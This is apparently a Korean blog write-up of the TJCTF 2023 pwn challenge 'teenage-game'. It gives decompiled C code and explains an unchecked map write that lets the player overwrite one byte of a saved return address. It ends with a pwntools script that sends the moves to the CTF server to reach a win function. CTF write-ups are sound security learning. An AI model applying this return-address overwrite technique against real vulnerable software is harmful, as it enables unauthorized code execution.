TJCTF 2023 - pwn/teenage-game

2023. 5. 26. 14:37·CTF/Solved
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // al
  int v5[2]; // [rsp+8h] [rbp-A98h] BYREF
  char v6[2704]; // [rsp+10h] [rbp-A90h] BYREF

  setup_terminal(argc, argv, envp);
  setvbuf(stdout, stdout_buf, 0, 0x1000uLL);
  init_player(v5);
  init_map(v6, v5);
  print_map(v6);
  signal(2, sigint_handler);
  while ( v5[0] != 29 || v5[1] != 89 )
  {
    v3 = getchar();
    move_player(v5, (unsigned int)v3, v6);
    print_map(v6);
  }
  puts("You win!");
  return 0;
}

 

move player

int __fastcall move_player(int *a1, char a2, __int64 a3)
{
  __int64 v3; // rax

  if ( a2 == 108 )
  {
    LODWORD(v3) = getchar();
    player_tile = v3;
  }
  else
  {
    *(_BYTE *)(a3 + 90LL * *a1 + a1[1]) = 46;
    switch ( a2 )
    {
      case 'w':
        --*a1;
        break;
      case 's':
        ++*a1;
        break;
      case 'a':
        --a1[1];
        break;
      case 'd':
        ++a1[1];
        break;
    }
    v3 = a1[1];
    *(_BYTE *)(90LL * *a1 + a3 + v3) = player_tile;
  }
  return v3;
}

 

2.2. 분석

개인적으로 가장 재미있는 문제였다.

main에서는 맵 출력과 함께, v5가 29, 89가 아닌 동안 값을 하나 받아들여 플레이어를 움직인다.

대략 형식은 아래와 같다.

Player position: 4 4
End tile position: 29 89
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X

 

print map은 말 그대로 map을 출력해주는 역할을 하고,

move_player에서 player가 움직이면 이를 계산하는 역할을 한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

move_player 함수에서 l을 입력하면 플레이어가 변신 (?)할 수 있다.

더불어 맵에 대한 경계 검사가 없어 지정된 공간을 넘어 이동할 수 있다.

3.2. 공격 준비

문제를 풀 당시 gdb로만 분석을 하고 있어서 제대로 확인하지 못하던 와중,

특정 키를 눌리면 플레이어가 변신 할 수 있다는 것과 경계 검사가 없다는 것을 확인했다.

더불어 경계를 넘어 이동하다보면 특정 위치에서 seg. fault가 발생하는 것을 보아

어딘가 주소가 변조된다는 점을 알아냈다.

 

즉, 메인에서 move player는 별도 함수로 실행되기에 이를 위해서는 스택에 main으로 돌아갈 주소를 저장할 것이고,

플레이어를 변신시켜 이 ret address로 이동한 다음 메인으로 돌아갈 때 다른 함수로 return 할 수 있다는 점을 확인했다. 

 

다만, 1바이트만 변조할 수 있게 되기에 win 함수가 있을 것으로 판단했는데, 역시 있었다.

 

그러므로 플레이어를 win 함수 주소의 마지막 값으로 변신 -> move player ret의 위치로 이동하면 win 함수가 실행될 것이다.

 

4. exploit

from pwn import *

#p = process('./game')
p = remote('tjc.tf', 31119)

for i in range(3):
    p.send(b'a')
    sleep(0.1)
    p.send(b'w')
    sleep(0.1)
for i in range(25):
    p.send(b'a')
    sleep(0.1)

p.send(b'l\xe4\n')
p.send(b'w\n')
p.interactive()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

TJCTF 2023 - pwn/shelly  (0) 2023.05.29
TJCTF 2023 - pwn/flip-out  (0) 2023.05.29
TAMUctf 2023 - Bank  (0) 2023.05.01
TAMUctf 2023 - Randomness  (0) 2023.05.01
TAMUctf 2023 - Pwnme  (0) 2023.05.01
'CTF/Solved' 카테고리의 다른 글
  • TJCTF 2023 - pwn/shelly
  • TJCTF 2023 - pwn/flip-out
  • TAMUctf 2023 - Bank
  • TAMUctf 2023 - Randomness
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Format String Bug
    rop
    32bit
    hackerschool
    ROOT ME
    BOF
    vtable
    pwnable.kr
    x86
    dreamhack
    heap
    RTL
    FSB
    docker
    libc
    CANARY
    _IO_FILE
    root
    x64
    Buffer Overflow
    lob
    la ctf
    phoenix
    cryptohack
    exploit education
    Me
    tcache
    64bit
    pwntools
    root-me
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
TJCTF 2023 - pwn/teenage-game
상단으로

티스토리툴바